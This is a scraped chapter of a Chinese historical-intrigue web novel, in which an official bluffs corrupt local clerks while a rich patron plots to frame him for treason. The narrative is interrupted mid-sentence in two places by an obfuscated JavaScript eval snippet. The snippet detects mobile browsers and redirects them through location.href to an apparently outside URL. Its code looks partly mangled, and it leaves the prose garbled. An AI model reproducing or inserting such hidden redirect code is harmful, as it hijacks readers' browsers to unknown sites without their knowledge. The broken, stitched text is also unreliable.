“昔年黄巾起义之时烧毁州郡府邸,杀害官吏士人泄愤,”源尚安看向赵兴,“若是来日起义军蔓延至夏州,赵大人打算何以自处?” ……那时候自己多半是民众杀了泄愤报仇的对象。世道混乱之际就算是想逃怕也没处安身。 赵兴挪开了眼神,不想被源尚安瞧出来底气不足。 源尚安与其说是警告,倒不如说是在提醒他:现在洗心革面帮着大家伙打打土豪留点好印象还来得及。 但赵兴还是从骨子里觉得那样的动荡距离自己很远,这些穷苦之人当真敢举旗起义吗?迄今为止又有哪一路农民走到了最后,还不是半道上就离心离德被人镇压了下去。 这些年永丰周遭确实没有那么太平,但那小股闹事的流民到底没成气候,轻而易举就被平定了下去。加上朝廷历来用酷刑对待造反者,处刑后的惨状多多少少也震慑了他们心里的念头。 赵兴自然而然没把他们放在眼里:“顾大人,会吗?” 源尚安只道:“赵兴呐,不要小瞧他们的力量。” 府邸已近在咫尺。 拐角处忽然冒出一名书童窜到了源尚安跟前:“顾大人,我家潘老爷回来了,急着要见您。” 计划中途遭到了改变,但源尚安并不慌乱,反而顺坡下驴道:“赵大人,那看来后头的事要交给你了。” “……我?” 赵兴指了指自己,显然没什么底气接下这一重担。 源尚安道:“刘备借荆州,听说过吗?” 赵兴:……? “该发愁发愁,该叹气叹气,该痛哭痛哭,”源尚安道,“他问什么你就接什么,但不要给一句瓷实话。” “明白。” 源尚安叫来两位侍从跟着赵兴,又拍了拍他的肩膀:“或许这个时候你出面比我去更合适。” —————— 他说到做到,只带了乔沐苏赴潘理全的邀约。 半路上乔沐苏仍有不解:“你为何只选我陪着你。” 源尚安道:“因为这些人里我最信得过你,也只信得过你。” 即便已经熟悉了他往日的语言风格,乔沐苏闻言还是不免一咳。 怎么这么像风流浪子撩人啊! “那云昼呢,还有戚玹,最近你不是又收了个叫项连的?” 源尚安摇头笑而不语,须臾后道:“他们跟你不一样,没法比的。” 乔沐苏:“……” 他这一看就是平日撩人说情话说顺嘴了,因此对自己也是想都不想张口就来。 他不得不转移话题:“你到底给潘理全留了什么?” “没什么,”源尚安道,“我只说刘县令遇劫,歹徒已被拿下。” “那他如此焦急,看来是和背后主谋有联系了?” 源尚安在店小二殷勤地指引下上了二楼雅间:“是真是假,马上便见分晓。” 与此同时,郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15034522|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的仆从也温顺地为赵兴斟上琼浆玉液。郑良辅笑道:“赵大人请。” “不敢,”赵兴想起源尚安便不敢松懈,“公务在身不可随意饮酒,老爷的好意我心领了。” 郑良辅意味深长道:“赵大人最近谨慎了不少。” “不敢当,剿匪一事虽然初战告捷,可之后的波折才刚刚开始,”赵兴语气放缓了些,“匪首尸身为证,也望郑老爷践行诺言,犒劳将士。” “不急,”郑良辅的笑莫名叫赵兴心跳断了一拍,“这钱我当然会给,可是我要给也是给货真价实抵御贼寇之人才行。” 赵兴心底一寒,以为他要下手立时看着侍从企图呼救:“……老爷,您什么意思?” “字面意思,”郑良辅道,“可是有些人怕是背地里和流寇关系匪浅呐。” 他眼神一递,身后仆从立马恭敬奉上了一张画像。赵兴下意识俯身去看,只见笔墨描绘的男人身形高大威武,眉眼如画却不失凌厉寒气,而且瞧起来莫名眼熟。 “这、这是……” 郑良辅严肃道:“此人出身匪徒生性凶残,在治所统万城一带曾犯下血案屠戮无辜,因而被官府下令通缉。可惜彼时恰逢圣上调整州郡官吏,错过了时机叫他侥幸逃走。” 赵兴看得满头大汗:“这位不是……” 郑良辅身躯微微前倾:“此人化名项连,据传最近已然逃到了永丰一带。” 赵兴眼前一阵阵的发黑,这通缉画像上的项连,不就是他此前看到跟在源尚安身侧的男人! 见他这副模样,郑良辅心知赵兴已然慌了阵脚:“赵大人,看来您果真认得此人。实不相瞒,这家伙几天前被人检举,说是如今正巧妙跟随在那位顾大人身边。” 郑良辅哎了声:“真不知道顾大人对此知不知情。若是被这狡诈歹徒蒙在鼓里可怎么是好?” 他眼珠一转,有意看着赵兴:“可若是他已然得知实情却隐瞒不报,那……哎呀。” 赵兴脸色发白,咬紧了唇瓣。 “勾结歹徒是死罪,弄不好要牵连妻儿老小的,赵大人知道吧。” 赵兴声音跟着颤颤巍巍:“……我当然知道。” “不过也不一定,”郑良辅摸了摸下巴,“我看顾大人一心为国,怎么会和这种歹徒勾结不轨企图谋逆呢?” “……许是这歹徒狡猾奸诈……” “对,”郑良辅立马表示了赞同,“一定是这歹徒狡猾奸诈,蒙蔽了顾大人。那么就劳烦赵县尉回去提个醒,把人捉拿归案了。” “我……” 赵兴进退两难,应也不是不应也不是。 以源尚安此前的表现,如果说他被谁欺骗蒙蔽,赵兴是不相信的。 他对此毫不知情的可能性微乎其微,唯一的解释就是他发觉项连此人身上有些许利用价值,所以准予他存活至今。 他定然是做不到说服人把项连交出来的。可那样的话…… 郑良辅脸色骤而一变,忽然出声道:“莫非顾大人一早就对此知根知底,留着项连在身边当真是有不轨之念?” 赵兴一连吞了好几口唾沫,可仍然觉得喉咙干涩说不出话。 “那这就叫谋反,得速速拿下定为死罪了对吧。” 31.霜刃染(五) “这,我……” 汗滴沿着鬓角流进了脖子,赵兴呆坐在原位一动不动。 为了避免走漏风声,郑良辅特意支开了那两名侍从,只单独和赵兴谈论此事。 郑良辅提醒道:“事关重大,不可忽视啊。” 赵兴犹豫着道:“或许其中有什么误会也不好说……” “赵大人这是要质疑统万城下发的通缉令?”话一出口郑良辅忽觉自己急了些许,立时换了口气,“嗨,大人不必紧张,我也是担心外人坏了事。你说说,这谋反的大罪名一旦扣下来,谁人敢接。咱们可不能被他给连累了。” 赵兴终于呼出来了一口气,他道:“郑老爷,您的担心我都明白,我也不至于带头质疑这通缉令。只是那个源素臣到底手里有兵啊,咱们若是硬来激怒了他铤而走险,那就不好了。” 对于项连的身份赵兴半信半疑,郑家本就和夏州官府联系密切,给画像添上公章和衙门落款也不是没有可能。 谋反这罪名不是开玩笑的。 赵兴在衙门混迹多年,还从未敢伙同潘理全和刘达给什么人扣上这顶帽子。 原因是麻烦。 涉及谋反的案件必须上报朝廷,其间又要惊动多少大人物可就不是永丰那帮人能说得算的,搞不好到头来弄巧成拙,反而坑了自己一把。 就算项连真的是在逃重犯,以源尚安的风格,赵兴都能想到他怕是直接演一出“我早就觉察到了不对,所以故意把人骗着留下来,打算等确认身份后移交给你们处置——哎呀你们来了那真是太巧了”的戏码。 赵兴甚至都能想象到他那无辜无奈的语气神态。 再不济他也能一口咬死自己毫不知情:他此前没有到过统万城,怎么可能知道项连正好是被通缉的要犯? 怎么坐实他知情不报是个大问题。而且赵兴并不想彻底和源尚安撕破脸。 他一手捏紧了酒杯指节泛白,凝视着地砖不言不语。 殊不知酒楼雅间里潘理全望着源尚安亦是一副不敢懈怠的戒备姿态。他暗自握紧拳头道:“顾大人可算是来了。” “既是潘大人做东,又何必紧张?” 潘理全摇摇头:“和聪明人打交道最忌讳放松警惕。尤其是顾大人这样身份成谜的人,更是应当小心。” 源尚安揶揄道:“可我怎么觉得大人身边那些人却没有那么谨慎,否则怎会叫我抓到了破绽。” 他指的是真假县令那一出戏。 “劳烦顾大人一路追踪查清事实,又救了刘大人一命,我等实在感激不尽,”潘理全道,“所以今日特意备下丰厚谢礼,还望顾大人不要推辞。” 源尚安轻笑道:“潘大人这是劝我拿了钱尽快走人呢。” 所有暗戳戳的心思在这个人面前好像都不管用,或许他当真天生一双慧眼,能将这世道人心尽数看透。 潘理全心中隐隐有些不爽,这姿态引起了乔沐苏的警觉,他伸手握住腰间长刃,准备随时杀出重围。 潘理全收起敌意,交叠的两手挡住了下半张脸:“怎么,顾大人还不想走?这里是夏州,外官没有圣旨不得随意干涉,我等念在顾大人救了太爷一命的份上不仅没有追究,反而备礼道谢,已然算是仁至义尽了吧?” 话里话外都是在说,如果他还不打算离开此地,那就休要怪他们当真仁至义尽赶尽杀绝了。 潘理全在等待着源尚安的回音,可是对方没有满口答应,而是沉思少顷后道:“潘大人,你要知道刘达现在人就在我手里。” 空气一瞬凝滞。 嘴唇不自然地动了动,潘理全问:“……他还活着吗?” “当然。”源尚安原本想停在这里,然而忽而又起了点心思,于是加了句:“你也还活着,不是吗?” 潘理全的嘴角抖了抖,埋伏于暗处的护卫蠢蠢欲动。 杀人见血的危机似乎一触即发,可偏偏在这种时刻源尚安依然神色不动,甚至还抬手倒了杯热茶。 茶叶香气四溢,热雾袅袅而起,朦胧间只听他开口道:“关押刘达的那处山洞我派人仔仔细细地查过,你猜我发现了什么?” “我发现这洞穴异常干净,根本不像是有人在此地被困了几天。” 潘理全干巴巴道:“顾大人还真是心细如发。” “别急,我还没有说完,”源尚安道,“你再猜猜刘达又跟我说了什么?” 话音刚落乔沐苏便情不自禁地看向源尚安。 自从救了人出来之后源尚安哪有空闲单独审问刘达?这根本就是临时编出来诓人的话。 不想多日未见,这人功力又更进一步,已然可以面不改色心不跳地当场凭空捏造事实了。 事到如今也只能千恩万谢上天开眼,叫他把心力都放在了官场上。这要是搁在风月场上,那这老手早就该情债高筑了。 “……不可能,”潘理全立即客气又略带怒意地否认,“他被困已久必定体力虚弱,哪有精神回话?就算说了也多半是言辞混乱。” 源尚安反问:“你怎么知道他被困已久?” 潘理全霎时一噎。 见他如鲠在喉,源尚安毫不客气地戏弄道:“我记得留给大人的信笺里可没有这句啊。” “恕我直言,大人这同伙当得可不大厚道啊,”源尚安戏谑不减,“为了误导我而把人孤零零地丢进去自生自灭,也难怪刘达对你们心生怨言。你们就没有想过万一中途出了差错,我没能及时找到人可怎么办?” 酒楼一瞬鸦雀无声,埋伏着的暗卫几乎都以为要到了自己出手的时刻了,潘理全却道:“不会有这样的差错。” 源尚安略略透出了故意为之的失望:“你还是不如刘达有价值。” “我知道像你这样的人多半瞧不起他的懦弱,可有时候老实一点,反而才能活得长久,”源尚安喝了口热茶暖身又道,“县令再小也是朝廷命官,你们劫持冒名顶替,说是谋反也不为过。” 无独有偶,此时困住赵兴的也同样是这谋反二字。 郑良辅道:“我知道赵大人仍有疑虑,我有一法调虎离山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15034849|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先支开源素臣令其追踪土匪,再对付那个顾主簿。” “只是这计划若要成功,还少不了大人配合。” 见赵兴不言不语,郑良辅忽而道:“哎对了,今日这些话该不会——” 赵兴立时回神:“您放心,我不会说出去。” “好,”郑良辅道,“那就先祝一句合作愉快。” 赵兴听到窗外动静,心知是那两名侍从回来了,他立时起身抱拳道:“郑老爷好意我都领了,时候不早,不便继续叨扰了。” 赵兴都搞不明白自己怎么出的府门,他神魂错乱差点分不清东南西北,良久才拉着侍从道:“顾大人呢?帮我叫衙门的人来,我要带过去见他。” 这帮人真是不可救药了!还想着闹出人命来! 酒楼里端坐着的潘理全尚不知道自己的父母被赵兴暗自问候了千百遍,他道:“你不是主簿,绝对不是。” 他在这封闭空间里起身些许,躬身凑近源尚安,眼白隐约想爬上红丝:“你是受了哪位钦差的托,特意来体察民情的是么?” 源尚安没想到他会朝这方面想,某种意义上也不算是说错,而且利用一下也无妨。 他是夏州太守,怎么不算是替天子体察民情呢? 源尚安道:“话说得太明白也就没意思了。” “……果然、果然,”潘理全喃喃道,“我派人打听过,陛下注重边防事务,暗中命宗室子弟微服私访查探各个州郡情况。果然……” 他目光坠落下来,不甘又无力道:“你家那位主子想要多少银子?” 源尚安心道人命关天,哪里是银子的事?不想恰是这一停顿勾起来了潘理全心里的怨言。 他不是牵头之人,每回也不过是个旁人吃肉自个儿喝汤的命,因此听到上头变着法要钱自然又气又愁。 都已经是皇亲国戚了,这辈子都靠着国家供养,还惦记着那点钱!有完没完!要那么多留着陪葬么! 潘理全受不了了,抗议道:“顾大人,不是我说,他小小年纪首次代天巡边就这么狮子大开口,清河惠王若泉下有知该做何感想?” 源尚安身躯一僵:“……谁?” 乔沐苏比他更迫切:“你刚才说清河王……是那位世子殿下?” 潘理全道:“都这种时候了,大人没必要再装模作样了吧。” 倒不是他想装,而是这位的确叫源尚安有口难言。 真真不是冤家不聚头。 要是叫这位沈世子知道自己今晚上假借他的名号诓人,这仇怨怕是又能加重一分。 ……源尚安都能想到他拔剑要追着自己砍的模样了。 事已至此他也管不了自己到底是弄巧成拙还是冤家路窄,只得迫不得已继续“损坏”殿下清誉。 源尚安压下心潮起伏,故作高深一笑:“潘大人说这样的话,看来还是不够了解我家主子。能打动他的从来不是金银这种俗物。” 潘理全瞄了眼源尚安,喉间干涩道:“……那能是什么,总不能是美色吧。”